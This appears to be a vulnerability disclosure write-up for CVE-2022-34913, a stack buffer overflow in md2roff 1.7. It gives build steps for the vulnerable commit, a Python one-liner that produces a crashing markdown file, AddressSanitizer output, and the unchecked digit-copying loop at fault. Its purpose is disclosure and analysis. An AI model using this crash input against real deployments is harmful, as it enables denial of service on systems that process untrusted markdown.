# Description of CVE-2022-34913

md2roff 1.7 suffers from a stack-based buffer overflow via a Markdown file containing a large number of consecutive characters to be processed. 


# Replication

To replicate the vulnerability, we must download a vulnerable version of md2roff (version 1.7):

```
git clone https://github.com/nereusx/md2roff.git
cd md2roff
git checkout 7fc373d25c91422454f081c8a717222d77fd7add
make
```

Once the project is compiled, we can start by creating a malicious markdown file with a large buffer of ascii characters:

```
python3 -c 'print("1"*5000)' > poc.md
```

Now we can point md2roff to our malicious markdown file and invoke a crash:

```
./md2roff poc.md
```

Executing the previous command will produce a segfault:

```
segmentation fault  ./md2roff poc.md
```

To gain a better understanding of where the overflow is taking place, lets recompile the project with address sanitizer (ASAN) by adding *-fsanitize=address* to the CFLAGS variable in the Makefile.  We also want the compiler to store symbol table information in the executable (-g flag) to help us determine which line of code produced the crash:

```
CFLAGS = -std=c99 -fsanitize=address -g
```

Next we will clean any stale files and recompile the project:

```
make clean
make
```

The output from ASAN shows us that the vulnerable source code can be found in *md2roff.c, line 1095*:
```
==180298==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdddcce7e0 at pc 0x556b5ebc39da bp 0x7ffdddcce5e0 sp 0x7ffdddcce5d8
WRITE of size 1 at 0x7ffdddcce7e0 thread T0
    #0 0x556b5ebc39d9 in md2roff /dev/shm/md2roff/md2roff.c:1095
    #1 0x556b5ebc620f in main /dev/shm/md2roff/md2roff.c:1394
    #2 0x7f3576046189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #3 0x7f3576046244 in __libc_start_main_impl ../csu/libc-start.c:381
    #4 0x556b5ebba3b0 in _start (/dev/shm/md2roff/md2roff+0x73b0)

Address 0x7ffdddcce7e0 is located in stack of thread T0 at offset 80 in frame
    #0 0x556b5ebbdb65 in md2roff /dev/shm/md2roff/md2roff.c:618

  This frame has 6 object(s):
    [32, 40) 'tt' (line 687)
    [64, 80) 'num' (line 1090) <== Memory access at offset 80 overflows this variable
    [96, 160) 'appname' (line 625)
    [192, 256) 'appsec' (line 625)
    [288, 352) 'appdate' (line 625)
    [384, 640) 'secname' (line 625)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /dev/shm/md2roff/md2roff.c:1095 in md2roff
Shadow bytes around the buggy address:
  0x10003bb91ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10003bb91cf0: 00 00 f1 f1 f1 f1 f8 f2 f2 f2 00 00[f2]f2 00 00
  0x10003bb91d00: 00 00 00 00 00 00 f2 f2 f2 f2 00 00 00 00 00 00
  0x10003bb91d10: 00 00 f2 f2 f2 f2 00 00 00 00 00 00 00 00 f2 f2
  0x10003bb91d20: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91d40: 00 00 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==180298==ABORTING

```

# Vulnerable source code:

```
1093:    n = num;
1094:    while ( isdigit(*p) )
1095:        *n ++ = *p ++;
```


# References
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34913
* https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
